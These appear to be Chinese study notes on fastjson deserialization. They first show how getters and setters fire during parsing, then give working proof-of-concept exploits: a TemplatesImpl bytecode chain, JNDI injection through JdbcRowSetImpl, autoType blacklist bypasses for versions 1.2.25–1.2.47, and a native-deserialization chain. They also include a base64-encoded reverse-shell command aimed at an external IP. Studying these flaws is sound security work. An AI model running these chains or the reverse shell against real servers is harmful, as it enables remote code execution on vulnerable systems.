FastJson反序列化学习 1. 什么是fastjson? fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
2. fastjson的优点 速度快,使用广泛,测试完备,使用简单
1 2 String text = JSON.toJSONString(obj); //序列化 VO vo = JSON.parseObject("{...}", VO.class); //反序列化
3. 下载和使用 配置maven依赖
1 2 3 4 5 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.24</version > </dependency >
序列化与反序列化 Main.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.serializer.SerializerFeature;import java.util.Date;public class Main { public static void main (String[] args) { Person person = new Person(15 , "L1ao" , new Date()); String jsonOutput= JSON.toJSONString(person, SerializerFeature.WriteClassName); System.out.println(jsonOutput); String jsonInput = "{\"age\":15,\"dateOfBirth\":1682316963541,\"fullName\":\"L1ao\"}" ; String jsonInput2 = "{\"@type\":\"org.example.Person\",\"age\":15,\"dateOfBirth\":1682317227768,\"fullName\":\"L1ao\"}" ; Person newPerson = JSON.parseObject(jsonInput, Person.class); System.out.println(newPerson.getFullName()); JSONObject newPerson2 = JSON.parseObject(jsonInput2); System.out.println(newPerson2.get("fullName" )); } }
Person.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 package org.example;import java.util.Date;public class Person { private int age; private String fullName; private Date dateOfBirth; public Person () { } public Person (int age, String fullName, Date dateOfBirth) { super (); this .age = age; this .fullName = fullName; this .dateOfBirth = dateOfBirth; } public int getAge () { return age; } public String getFullName () { return fullName; } public Date getDateOfBirth () { return dateOfBirth; } public void setAge (int age) { this .age = age; } public void setFullName (String fullName) { this .fullName = fullName; } public void setDateOfBirth (Date dateOfBirth) { this .dateOfBirth = dateOfBirth; } }
分析序列化过程(参考知识星球中的来分析一下各种情况下getter和setter的效果)
User.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 package org.example;import java.util.Properties;public class User { public String name1; public String name2; public String name3; public String name4; private String age1; private String age2; private String age3; private String age4; public Properties prop1_1; public Properties prop1_2; public Properties prop1_3; public Properties prop1_4; private Properties prop2_1; private Properties prop2_2; private Properties prop2_3; private Properties prop2_4; @Override public String toString () { return "User{" + "name1='" + name1 + '\'' + ", name2='" + name2 + '\'' + ", name3='" + name3 + '\'' + ", name4='" + name4 + '\'' + ", age1='" + age1 + '\'' + ", age2='" + age2 + '\'' + ", age3='" + age3 + '\'' + ", age4='" + age4 + '\'' + ", prop1_1=" + prop1_1 + ", prop1_2=" + prop1_2 + ", prop1_3=" + prop1_3 + ", prop1_4=" + prop1_4 + ", prop2_1=" + prop2_1 + ", prop2_2=" + prop2_2 + ", prop2_3=" + prop2_3 + ", prop2_4=" + prop2_4 + '}' ; } public String getName1 () { String methodName = Thread.currentThread().getStackTrace()[1 ].getMethodName(); System.out.println(methodName + "() is called" ); return name1; } public void setName1 (String name1) { String methodName = Thread.currentThread().getStackTrace()[1 ].getMethodName(); System.out.println(methodName + "() is called" ); this .name1 = name1; } public String getName2 () { String methodName = Thread.currentThread().getStackTrace()[1 ].getMethodName(); System.out.println(methodName + "() is called" ); return name2; } public void setName3 (String name3) { String methodName = Thread.currentThread().getStackTrace()[1 ].getMethodName(); System.out.println(methodName + "() is called" ); this .name3 = name3; } public String getAge1 () { String methodName = Thread.currentThread().getStackTrace()[1 ].getMethodName(); System.out.println(methodName + "() is called" ); return age1; } public void setAge1 (String age1) { String methodName = Thread.currentThread().getStackTrace()[1 ].getMethodName(); System.out.println(methodName + "() is called" ); this .age1 = age1; } public String getAge2 () { String methodName = Thread.currentThread().getStackTrace()[1 ].getMethodName(); System.out.println(methodName + "() is called" ); return age2; } public void setAge3 (String age3) { String methodName = Thread.currentThread().getStackTrace()[1 ].getMethodName(); System.out.println(methodName + "() is called" ); this .age3 = age3; } public Properties getProp1_1 () { String methodName = Thread.currentThread().getStackTrace()[1 ].getMethodName(); System.out.println(methodName + "() is called" ); return prop1_1; } public void setProp1_1 (Properties prop1_1) { String methodName = Thread.currentThread().getStackTrace()[1 ].getMethodName(); System.out.println(methodName + "() is called" ); this .prop1_1 = prop1_1; } public Properties getProp1_2 () { String methodName = Thread.currentThread().getStackTrace()[1 ].getMethodName(); System.out.println(methodName + "() is called" ); return prop1_2; } public void setProp1_3 (Properties prop1_3) { String methodName = Thread.currentThread().getStackTrace()[1 ].getMethodName(); System.out.println(methodName + "() is called" ); this .prop1_3 = prop1_3; } public Properties getProp2_1 () { String methodName = Thread.currentThread().getStackTrace()[1 ].getMethodName(); System.out.println(methodName + "() is called" ); return prop2_1; } public void setProp2_1 (Properties prop2_1) { String methodName = Thread.currentThread().getStackTrace()[1 ].getMethodName(); System.out.println(methodName + "() is called" ); this .prop2_1 = prop2_1; } public Properties getProp2_2 () { String methodName = Thread.currentThread().getStackTrace()[1 ].getMethodName(); System.out.println(methodName + "() is called" ); return prop2_2; } public void setProp2_3 (Properties prop2_3) { String methodName = Thread.currentThread().getStackTrace()[1 ].getMethodName(); System.out.println(methodName + "() is called" ); this .prop2_3 = prop2_3; } public User () { this .name1 = "L1ao1" ; this .name2 = "L1ao2" ; this .name3 = "L1ao3" ; this .name4 = "L1ao4" ; this .age1 = "a1" ; this .age2 = "a2" ; this .age3 = "a3" ; this .age4 = "a4" ; prop1_1 = new Properties(); prop1_2 = new Properties(); prop1_3 = new Properties(); prop1_4 = new Properties(); prop1_1.put("prop1_1" , "1_1" ); prop1_2.put("prop1_2" , "1_2" ); prop1_3.put("prop1_3" , "1_3" ); prop1_4.put("prop1_4" , "1_4" ); prop2_1 = new Properties(); prop2_2 = new Properties(); prop2_3 = new Properties(); prop2_4 = new Properties(); prop2_1.put("prop2_1" , "2_1" ); prop2_2.put("prop2_2" , "2_2" ); prop2_3.put("prop2_3" , "2_3" ); prop2_4.put("prop2_4" , "2_4" ); System.out.println("User init() is called" ); } }
序列化 常用方法
1 2 3 4 5 6 7 8 public static String toJSONString (Object object) { return toJSONString(object, emptyFilters); } public static String toJSONString (Object object, SerializerFeature... features) { return toJSONString(object, DEFAULT_GENERATE_FEATURE, features); } ......
非自省 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 public static void userSer () { User user = new User(); System.out.println("=====================" ); String jsonOutput= JSON.toJSONString(user); System.out.println(jsonOutput); } 输出 User init () is called ===================== getAge1() is called getAge2() is called getName1() is called getName2() is called getProp1_1() is called getProp1_2() is called getProp2_1() is called getProp2_2() is called { "age1" : "a1" , "age2" : "a2" , "name1" : "L1ao1" , "name2" : "L1ao2" , "name3" : "L1ao3" , "name4" : "L1ao4" , "prop1_1" : { "prop1_1" : "1_1" }, "prop1_2" : { "prop1_2" : "1_2" }, "prop1_3" : { "prop1_3" : "1_3" }, "prop1_4" : { "prop1_4" : "1_4" }, "prop2_1" : { "prop2_1" : "2_1" }, "prop2_2" : { "prop2_2" : "2_2" } } 观察发现在系列化时会调用getters,public 修饰的变量会被赋值,private 修饰并没有get的变量不会被赋值
自省 JSON 标准是不⽀持⾃省的,也就是说根据 JSON ⽂本,不知道它包含的对象的类型。 FastJson ⽀持⾃省,在序列化时传⼊类型信息 SerializerFeature.WriteClassName ,可以得到能 表明对象类型的 JSON ⽂本。 FastJson 的漏洞就是由于这个功能引起的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 public static void userSer () { User user = new User(); System.out.println("=====================" ); String jsonOutput= JSON.toJSONString(user,SerializerFeature.WriteClassName); System.out.println(jsonOutput); } 输出 User init () is called ===================== getAge1() is called getAge2() is called getName1() is called getName2() is called getProp1_1() is called getProp1_2() is called getProp2_1() is called getProp2_2() is called { "@type" : "org.example.User" , "age1" : "a1" , "age2" : "a2" , "name1" : "L1ao1" , "name2" : "L1ao2" , "name3" : "L1ao3" , "name4" : "L1ao4" , "prop1_1" : { "@type" : "java.util.Properties" , "prop1_1" : "1_1" }, "prop1_2" : { "@type" : "java.util.Properties" , "prop1_2" : "1_2" }, "prop1_3" : { "@type" : "java.util.Properties" , "prop1_3" : "1_3" }, "prop1_4" : { "@type" : "java.util.Properties" , "prop1_4" : "1_4" }, "prop2_1" : { "@type" : "java.util.Properties" , "prop2_1" : "2_1" }, "prop2_2" : { "@type" : "java.util.Properties" , "prop2_2" : "2_2" } } 新增@type 字段用于指明反序列化对象,其他不变
反序列化 非自省 常用方法
1 2 3 4 public static <T> T parseObject (String text, Class<T> clazz) { return parseObject(text, clazz); } ......
1 2 3 4 5 6 7 8 9 10 11 12 13 14 String jsonInput = "{\"age1\":\"a1\",\"age2\":\"a2\",\"name1\":\"L1ao1\",\"name2\":\"L1ao2\",\"name3\":\"L1ao3\",\"name4\":\"L1ao4\",\"prop1_1\":{\"prop1_1\":\"1_1\"},\"prop1_2\":{\"prop1_2\":\"1_2\"},\"prop1_3\":{\"prop1_3\":\"1_3\"},\"prop1_4\":{\"prop1_4\":\"1_4\"},\"prop2_1\":{\"prop2_1\":\"2_1\"},\"prop2_2\":{\"prop2_2\":\"2_2\"}}" ; User newUser = JSON.parseObject(jsonInput, User.class); System.out.println(newUser); 输出 User init () is called setAge1 () is called setName1 () is called setName3 () is called setProp1_1 () is called setProp1_3 () is called setProp2_1 () is called getProp2_2 () is called User {name1='L1ao1' , name2='L1ao2' , name3='L1ao3' , name4='L1ao4' , age1='a1' , age2='null' , age3='null' , age4='null' , prop1_1={prop1_1=1_1 }, prop1_2={prop1_2=1_2 }, prop1_3={prop1_3=1_3 }, prop1_4={prop1_4=1_4 }, prop2_1={prop2_1=2_1 }, prop2_2=null , prop2_3=null , prop2_4=null }public 全部赋值,private 有set的被赋值,其他为null ,额外调用一次getProp2_2??为什么
自省 JSON.parseObject 除了传⼊ Class clazz ⾮⾃省反序列化,也同样有⾃省反序列化
常用方法
1 2 3 4 public static JSONObject parseObject (String text) { Object obj = parse(text); return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 String jsonInput = "{\"@type\":\"org.example.User\",\"age1\":\"a1\",\"age2\":\"a2\",\"name1\":\"L1ao1\",\"name2\":\"L1ao2\",\"name3\":\"L1ao3\",\"name4\":\"L1ao4\",\"prop1_1\":{\"@type\":\"java.util.Properties\",\"prop1_1\":\"1_1\"},\"prop1_2\":{\"@type\":\"java.util.Properties\",\"prop1_2\":\"1_2\"},\"prop1_3\":{\"@type\":\"java.util.Properties\",\"prop1_3\":\"1_3\"},\"prop1_4\":{\"@type\":\"java.util.Properties\",\"prop1_4\":\"1_4\"},\"prop2_1\":{\"@type\":\"java.util.Properties\",\"prop2_1\":\"2_1\"},\"prop2_2\":{\"@type\":\"java.util.Properties\",\"prop2_2\":\"2_2\"}}\n" ; Object newUser = JSON.parseObject(jsonInput); System.out.println(newUser); 输出 User init () is called setAge1 () is called setName1 () is called setName3 () is called setProp1_1 () is called setProp1_3 () is called setProp2_1 () is called getProp2_2 () is called getAge1 () is called getAge2 () is called getName1 () is called getName2 () is called getProp1_1 () is called getProp1_2 () is called getProp2_1 () is called getProp2_2 () is called {"prop1_3" :{"prop1_3" :"1_3" },"prop1_4" :{"prop1_4" :"1_4" },"name4" :"L1ao4" ,"prop1_1" :{"prop1_1" :"1_1" },"name3" :"L1ao3" ,"prop1_2" :{"prop1_2" :"1_2" },"prop2_1" :{"prop2_1" :"2_1" },"name2" :"L1ao2" ,"name1" :"L1ao1" ,"age1" :"a1" }调用了所有getter和setter,其中getProp2_2调用了两次,为什么??
1 2 3 4 5 6 7 8 9 10 11 12 String jsonInput = "{\"@type\":\"org.example.User\",\"age1\":\"a1\",\"age2\":\"a2\",\"name1\":\"L1ao1\",\"name2\":\"L1ao2\",\"name3\":\"L1ao3\",\"name4\":\"L1ao4\",\"prop1_1\":{\"@type\":\"java.util.Properties\",\"prop1_1\":\"1_1\"},\"prop1_2\":{\"@type\":\"java.util.Properties\",\"prop1_2\":\"1_2\"},\"prop1_3\":{\"@type\":\"java.util.Properties\",\"prop1_3\":\"1_3\"},\"prop1_4\":{\"@type\":\"java.util.Properties\",\"prop1_4\":\"1_4\"},\"prop2_1\":{\"@type\":\"java.util.Properties\",\"prop2_1\":\"2_1\"},\"prop2_2\":{\"@type\":\"java.util.Properties\",\"prop2_2\":\"2_2\"}}\n"; Object newUser = JSON.parse(jsonInput); 输出 User init() is called setAge1() is called setName1() is called setName3() is called setProp1_1() is called setProp1_3() is called setProp2_1() is called getProp2_2() is called 调用了所有setter,其中setAge3没有调用是因为传入的json中没有age3字段,至于为什么没有,是因为反序列化时没有get方法并且是private所以没有age3字段
结论 根据⼏种输出的结果,可以得到每种调⽤⽅式的特点:
parseObject(String text, Class clazz) ,构造⽅法 + setter + 满⾜条件额外的 getter
parseObject(String text) ,构造⽅法 + setter + getter + 满⾜条件额外 的 getter
parse(String text) ,构造⽅法 + setter + 满⾜条件额外的 getter
这个额外条件是什么呢?不解
4. TemplatesImpl 反序列化利用链 利用条件:
开启了Feature.SupportNonPublicField
fastjson < 1.2.48 ?
先放个exp吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.serializer.SerializerFeature;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import java.lang.reflect.Field;import java.util.Base64;public class Poc { public static void setValue (Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); clazz.addConstructor(constructor); byte [] bytes = clazz.toBytecode(); String payload = "{" + "\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," + "\"_bytecodes\": [\"" +Base64.getEncoder().encodeToString(bytes)+"\"]," + "\"_name\":\"L1ao\"," + "\"_tfactory\":{ }," + "\"_outputProperties\": {}," + "\"_name\":\"a\"," + "\"_version\":\"1.0\"," + "\"allowedProtocols\":\"all\"" + "}" ; System.out.println(payload); JSON.parseObject(payload, Feature.SupportNonPublicField); } }
反序列化会触发getter:getOutputProperties中defineTransletClasses来加载字节码,调用栈如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 defineTransletClasses:415, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getTransletInstance:452, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:485, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getOutputProperties:506, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:193, JSON (com.alibaba.fastjson) parseObject:197, JSON (com.alibaba.fastjson) main:46, Poc (org.example)
5. JNDI && JdbcRowSetImpl利⽤链
不需要开启Feature.SupportNonPublicField
高版本jndi有限制
基于ldap的利⽤⽅式:适⽤jdk版本: JDK 11.0.1 、 8u191 、 7u201 、 6u211 之前。
基于rmi的利⽤⽅式:适⽤jdk版本: JDK 6u132 , JDK 7u122 , JDK 8u113 之前
相关项目:
https://github.com/mbechler/marshalsec
https://github.com/welk1n/JNDI-Injection-Exploit
利用过程
Exploit.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.io.Serializable;import java.util.Hashtable;public class Exploit implements ObjectFactory , Serializable { public Exploit () { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } public static void main (String[] args) { Exploit exploit = new Exploit(); } public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null ; } }
marshalsec 使用 command
1 2 3 4 javac Exploit.java python3 -m http.server 11012 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://localhost:11012/
JNDI-Injection-Exploit 使用 command
1 2 3 4 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command ] [-A] [address] eg: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A localhost your command is passed to Runtime.getRuntime().exec () as parameters, 所以这里如果要执行反弹shell等等复杂的命令时可以使用 bash -c {echo ,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuNTcuNTIvMTEwMTIgMD4mMQ==}|{base64,-d}|{bash,-i}
Poc2.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package org.example;import com.alibaba.fastjson.JSON;public class Poc2 { public static void main (String[] args) { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase" , "true" ); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase" , "true" ); String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":true}" ; JSON.parse(PoC); } }
指定恶意利⽤类为 com.sun.rowset.JdbcRowSetImpl
通过setDataSourceName设置指定 RMI / LDAP 恶意服务器
通过setAutoCommit,其中的this.conn == null,会执行 this.connect() 然后是DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); 会去lookup你之前设置的恶意服务器达成jndi注入
其中字段的先后顺序会影响赋值的顺序,Poc2中需要dataSourceName先于autoCommit,否则在lookup时dataSourceName为空
6. 补丁分析 1.2.25 新增了 autoTypeSupport 反序列化 选项,并通过 checkAutoType 函数对加载类进⾏⿊⽩名单过滤和判断。
maven改一下版本
1 2 3 4 5 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.25</version > </dependency >
黑名单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 0 = "bsh" 1 = "com.mchange" 2 = "com.sun." 3 = "java.lang.Thread" 4 = "java.net.Socket" 5 = "java.rmi" 6 = "javax.xml" 7 = "org.apache.bcel" 8 = "org.apache.commons.beanutils" 9 = "org.apache.commons.collections.Transformer" 10 = "org.apache.commons.collections.functors" 11 = "org.apache.commons.collections4.comparators" 12 = "org.apache.commons.fileupload" 13 = "org.apache.myfaces.context.servlet" 14 = "org.apache.tomcat" 15 = "org.apache.wicket.util" 16 = "org.codehaus.groovy.runtime" 17 = "org.hibernate" 19 = "org.mozilla.javascript" 18 = "org.jboss" 20 = "org.python.core" 21 = "org.springframework"
可见 上面的JdbcRowSetImpl利⽤链使用的类 com.sun.rowset.JdbcRowSetImpl 被禁用了(”com.sun.”)
白名单默认为空
autoTypeSupport 为 true ,使⽤⿊名单验证,因此存在绕过⻛险。
绕过POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;import com.sun.rowset.JdbcRowSetImpl;public class Poc2 { public static void main (String[] args) { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase" , "true" ); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase" , "true" ); ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://localhost:1099/k5xdee\",\"autoCommit\":true}" ; System.out.println(PoC); JSON.parse(PoC); } }
即在类名前加L后加;
问题出现在
1 2 3 4 5 6 7 8 loadClass:1084, TypeUtils (com.alibaba.fastjson.util) checkAutoType:861, ParserConfig (com.alibaba.fastjson.parser) parseObject:322, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:128, JSON (com.alibaba.fastjson) main:17, Poc2 (org.example)
这里如果类名为L并且;结尾则忽略开头和结尾,以新类名作为参数递归调⽤ loadClass 函数,最终加载 JdbcRowSetImpl 并返回,实现绕过。
如果类名以[开头,则忽略开头,但是是返回array
1.2.42 对之前版本进行修复,对黑名单使用类hash
1 this .denyHashCodes = new long []{-8720046426850100497L , -8109300701639721088L , -7966123100503199569L , -7766605818834748097L , -6835437086156813536L , -4837536971810737970L , -4082057040235125754L , -2364987994247679115L , -1872417015366588117L , -254670111376247151L , -190281065685395680L , 33238344207745342L , 313864100207897507L , 1203232727967308606L , 1502845958873959152L , 3547627781654598988L , 3730752432285826863L , 3794316665763266033L , 4147696707147271408L , 5347909877633654828L , 5450448828334921485L , 5751393439502795295L , 5944107969236155580L , 6742705432718011780L , 7179336928365889465L , 7442624256860549330L , 8838294710098435315L };
网上有对应的:https://github.com/LeadroyaL/fastjson-blacklist
修改依赖
1 2 3 4 5 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.41</version > </dependency >
就进行一次substring,双写绕过
Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;import com.sun.rowset.JdbcRowSetImpl;public class Poc2 { public static void main (String[] args) { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase" , "true" ); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase" , "true" ); ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://localhost:1099/k5xdee\",\"autoCommit\":true}" ; System.out.println(PoC); JSON.parse(PoC); } }
1.2.43 修复了二次绕过,多次重复不再生效
还记得之前那个[ 吗,这次绕过就是用的这个
依旧修改maven不贴了
给出Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;import com.sun.rowset.JdbcRowSetImpl;public class Poc2 { public static void main (String[] args) { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase" , "true" ); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase" , "true" ); ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String PoC ="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://localhost:1099/nt91oz\",\"autoCommit\":true}" ; System.out.println(PoC); JSON.parse(PoC); } }
1.2.44-1.2.45 修复了恶意类名前添加 [ 的引发安全问题
第三方库的链子
1 2 3 4 5 <dependency > <groupId > org.mybatis</groupId > <artifactId > mybatis</artifactId > <version > 3.5.3</version > </dependency >
给出Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;import com.sun.rowset.JdbcRowSetImpl;public class Poc2 { public static void main (String[] args) { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase" , "true" ); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase" , "true" ); ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String PoC = " {\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://localhost:1099/nt91oz\"}}" ; System.out.println(PoC); JSON.parse(PoC); } }
1.2.46-1.2.47 修复了上面的第三方链子
新的 java.lang.Class 利⽤链,利⽤ 缓存 mappings 从⽽绕过了⿊⽩名单的限制加载 com.sun.rowset.JdbcRowSetImpl 类。不受 autoTypeSupport 选项的影响,威⼒更⼤,范围更⼴。
给出Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;import com.sun.rowset.JdbcRowSetImpl;public class Poc2 { public static void main (String[] args) { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase" , "true" ); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase" , "true" ); ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{\n" + " \"name\":{\n" + " \"@type\":\"java.lang.Class\",\n" + " \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" + " },\n" + " \"x\":{\n" + " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" + " \"dataSourceName\":\"rmi://localhost:1099/nt91oz\",\n" + " \"autoCommit\":true\n" + " }\n" + "}" ; System.out.println(payload); JSON.parse(payload); } }
利用java.lang.Class将com.sun.rowset.JdbcRowSetImpl注入到缓存中,然后反序列化com.sun.rowset.JdbcRowSetImpl时在缓存中绕过检测
7. 原生类反序列化 https://paper.seebug.org/2055/
ois.readObject()
fastjson的一条链
Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import com.alibaba.fastjson.JSONArray;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class Test { public static void setValue (Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); clazz.addConstructor(constructor); byte [][] bytes = new byte [][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes" , bytes); setValue(templates, "_name" , "y4tacker" ); setValue(templates, "_tfactory" , null ); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException val = new BadAttributeValueExpException(null ); Field valfield = val.getClass().getDeclaredField("val" ); valfield.setAccessible(true ); valfield.set(val, jsonArray); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(val); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
通杀链来自@1ue师傅,引用绕过
